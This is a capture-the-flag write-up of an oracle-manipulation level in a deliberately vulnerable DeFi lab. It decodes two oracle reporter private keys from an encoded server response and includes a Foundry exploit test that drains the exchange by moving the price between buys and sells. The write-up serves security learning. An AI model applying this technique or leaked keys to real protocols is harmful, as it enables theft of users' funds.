✅Compromised

Description

While poking around a web service of one of the most popular DeFi projects in the space, you get a somewhat strange response from their server. Here’s a snippet:

HTTP/2 200 OK
content-type: text/html
content-language: en
vary: Accept-Encoding
server: cloudflare

4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35

4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34

A related on-chain exchange is selling (absurdly overpriced) collectibles called “DVNFT”, now at 999 ETH each.

This price is fetched from an on-chain oracle, based on 3 trusted reporters: 0xA732...A105,0xe924...9D15 and 0x81A5...850c.

Starting with just 0.1 ETH in balance, pass the challenge by obtaining all ETH available in the exchange.

TL;DR

There are two trusted EOA addresses that can set NFT price. The private key can be obtained from the HTTP request in the challenge description, so we can impersonate the trusted EOA and set NFT price to 0 when we buy it and set the price super high when we sell it.

Code Audit

Exchange.buyOne():

    function buyOne() external payable nonReentrant returns (uint256) {
        uint256 amountPaidInWei = msg.value;
        if (amountPaidInWei == 0) revert ValueMustBeGreaterThanZero();

        // Price should be in [wei / NFT]
        uint256 currentPriceInWei = oracle.getMedianPrice(token.symbol());
        if (amountPaidInWei < currentPriceInWei) revert AmountPaidIsNotEnough();

        uint256 tokenId = token.safeMint(msg.sender);

        payable(msg.sender).sendValue(amountPaidInWei - currentPriceInWei);

        emit TokenBought(msg.sender, tokenId, currentPriceInWei);

        return tokenId;
    }

The price is fetched from oracle.getMedianPrice():

    function getMedianPrice(string calldata symbol) external view returns (uint256) {
        return _computeMedianPrice(symbol);
    }

    function _computeMedianPrice(string memory symbol) private view returns (uint256) {
        uint256[] memory prices = _sort(getAllPricesForSymbol(symbol));

        // calculate median price
        if (prices.length % 2 == 0) {
            uint256 leftPrice = prices[(prices.length / 2) - 1];
            uint256 rightPrice = prices[prices.length / 2];
            return (leftPrice + rightPrice) / 2;
        } else {
            return prices[prices.length / 2];
        }
    }

    function getAllPricesForSymbol(string memory symbol) public view returns (uint256[] memory) {
        uint256 numberOfSources = getNumberOfSources();
        uint256[] memory prices = new uint256[](numberOfSources);

        for (uint256 i = 0; i < numberOfSources; i++) {
            address source = getRoleMember(TRUSTED_SOURCE_ROLE, i);
            prices[i] = getPriceBySource(symbol, source);
        }

        return prices;
    }

    function getPriceBySource(string memory symbol, address source) public view returns (uint256) {
        return pricesBySource[source][symbol];
    }

Ok so the price is essentially set by "source". What is this "source"?

    function _setPrice(address source, string memory symbol, uint256 newPrice) private {
        uint256 oldPrice = pricesBySource[source][symbol];
        pricesBySource[source][symbol] = newPrice;
        emit UpdatedPrice(source, symbol, oldPrice, newPrice);
    }

    function postPrice(string calldata symbol, uint256 newPrice) external onlyTrustedSource {
        _setPrice(msg.sender, symbol, newPrice);
    }

    modifier onlyTrustedSource() {
        if (!hasRole(TRUSTED_SOURCE_ROLE, msg.sender)) {
            revert NotATrustedSource();
        }
        _;
    }

So "sources" are just some trusted EOA addresses. Essentially the logic is storing prices from all sources in an array and taking the median as the final price. Sounds like we can steal the private key somehow and manipulate the price.

Recall that there is a HTTP request in challenge description:

HTTP/2 200 OK
content-type: text/html
content-language: en
vary: Accept-Encoding
server: cloudflare

4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35

4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34

This indeed looks suspicious.

Try decoding them:

Step 1: Hex to ASCII:
- 4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35 -> MHhjNjc4ZWYxYWE0NTZkYTY1YzZmYzU4NjFkNDQ4OTJjZGZhYzBjNmM4YzI1NjBiZjBjOWZiY2RhZTJmNDczNWE5
- 4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34 -> MHgyMDgyNDJjNDBhY2RmYTllZDg4OWU2ODVjMjM1NDdhY2JlZDliZWZjNjAzNzFlOTg3NWZiY2Q3MzYzNDBiYjQ4
Step 2: Base64 decode
- MHhjNjc4ZWYxYWE0NTZkYTY1YzZmYzU4NjFkNDQ4OTJjZGZhYzBjNmM4YzI1NjBiZjBjOWZiY2RhZTJmNDczNWE5 -> 0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9
- MHgyMDgyNDJjNDBhY2RmYTllZDg4OWU2ODVjMjM1NDdhY2JlZDliZWZjNjAzNzFlOTg3NWZiY2Q3MzYzNDBiYjQ4 -> 0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48

Seems like we get two private keys here.

Building PoC

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;

import "forge-std/Test.sol";

import {Exchange} from "../../../src/Contracts/compromised/Exchange.sol";
import {TrustfulOracle} from "../../../src/Contracts/compromised/TrustfulOracle.sol";
import {TrustfulOracleInitializer} from "../../../src/Contracts/compromised/TrustfulOracleInitializer.sol";
import {DamnValuableNFT} from "../../../src/Contracts/DamnValuableNFT.sol";

contract Compromised is Test {
    uint256 internal constant EXCHANGE_INITIAL_ETH_BALANCE = 9990e18;
    uint256 internal constant INITIAL_NFT_PRICE = 999e18;

    Exchange internal exchange;
    TrustfulOracle internal trustfulOracle;
    TrustfulOracleInitializer internal trustfulOracleInitializer;
    DamnValuableNFT internal damnValuableNFT;
    address payable internal attacker;

    function setUp() public {
        address[] memory sources = new address[](3);

        sources[0] = 0xA73209FB1a42495120166736362A1DfA9F95A105;
        sources[1] = 0xe92401A4d3af5E446d93D11EEc806b1462b39D15;
        sources[2] = 0x81A5D6E50C214044bE44cA0CB057fe119097850c;

        attacker = payable(address(uint160(uint256(keccak256(abi.encodePacked("attacker"))))));
        vm.deal(attacker, 0.1 ether);
        vm.label(attacker, "Attacker");
        assertEq(attacker.balance, 0.1 ether);

        // Initialize balance of the trusted source addresses
        uint256 arrLen = sources.length;
        for (uint8 i = 0; i < arrLen;) {
            vm.deal(sources[i], 2 ether);
            assertEq(sources[i].balance, 2 ether);
            unchecked {
                ++i;
            }
        }

        string[] memory symbols = new string[](3);
        for (uint8 i = 0; i < arrLen;) {
            symbols[i] = "DVNFT";
            unchecked {
                ++i;
            }
        }

        uint256[] memory initialPrices = new uint256[](3);
        for (uint8 i = 0; i < arrLen;) {
            initialPrices[i] = INITIAL_NFT_PRICE;
            unchecked {
                ++i;
            }
        }

        // Deploy the oracle and setup the trusted sources with initial prices
        trustfulOracle = new TrustfulOracleInitializer(
            sources,
            symbols,
            initialPrices
        ).oracle();

        // Deploy the exchange and get the associated ERC721 token
        exchange = new Exchange{value: EXCHANGE_INITIAL_ETH_BALANCE}(
            address(trustfulOracle)
        );
        damnValuableNFT = exchange.token();

        console.log(unicode"🧨 Let's see if you can break it... 🧨");
    }

    function singleRound(address user1, address user2) public {
        vm.prank(user1);
        trustfulOracle.postPrice("DVNFT", 0.1 ether);
        vm.prank(user2);
        trustfulOracle.postPrice("DVNFT", 0.1 ether);

        vm.prank(attacker);
        uint256 tokenId = exchange.buyOne{value: 0.1 ether}();
        
        vm.prank(user1);
        trustfulOracle.postPrice("DVNFT", 999 ether);
        vm.prank(user2);
        trustfulOracle.postPrice("DVNFT", 999 ether);

        vm.startPrank(attacker);
        damnValuableNFT.approve(address(exchange), tokenId);
        exchange.sellOne(tokenId);
        vm.stopPrank();
    }

    function lastRound(address user1, address user2) public {
        vm.prank(user1);
        trustfulOracle.postPrice("DVNFT", 0.1 ether);
        vm.prank(user2);
        trustfulOracle.postPrice("DVNFT", 0.1 ether);

        vm.prank(attacker);
        uint256 tokenId = exchange.buyOne{value: 0.1 ether}();
        
        vm.prank(user1);
        trustfulOracle.postPrice("DVNFT", 1000 ether);
        vm.prank(user2);
        trustfulOracle.postPrice("DVNFT", 1000 ether);

        vm.startPrank(attacker);
        damnValuableNFT.approve(address(exchange), tokenId);
        exchange.sellOne(tokenId);
        vm.stopPrank();

        vm.prank(user1);
        trustfulOracle.postPrice("DVNFT", 999 ether);
        vm.prank(user2);
        trustfulOracle.postPrice("DVNFT", 999 ether);
    }

    function testExploit() public {
        /**
         * EXPLOIT START *
         */
        address user1 = vm.addr(0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9);
        address user2 = vm.addr(0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48);
        console.log("user1 address: ", user1);
        console.log("user2 address: ", user2);

        for (int i = 0; i < 9; i++) {
            singleRound(user1, user2);
        }

        lastRound(user1, user2);

        /**
         * EXPLOIT END *
         */
        validation();
        console.log(unicode"\n🎉 Congratulations, you can go to the next level! 🎉");
    }

    function validation() internal {
        // Exchange must have lost all ETH
        assertEq(address(exchange).balance, 0);

        // Attacker's ETH balance must have significantly increased
        assertGt(attacker.balance, EXCHANGE_INITIAL_ETH_BALANCE);

        // Attacker must not own any NFT
        assertEq(damnValuableNFT.balanceOf(attacker), 0);

        // NFT price shouldn't have changed
        assertEq(trustfulOracle.getMedianPrice("DVNFT"), INITIAL_NFT_PRICE);
    }
}

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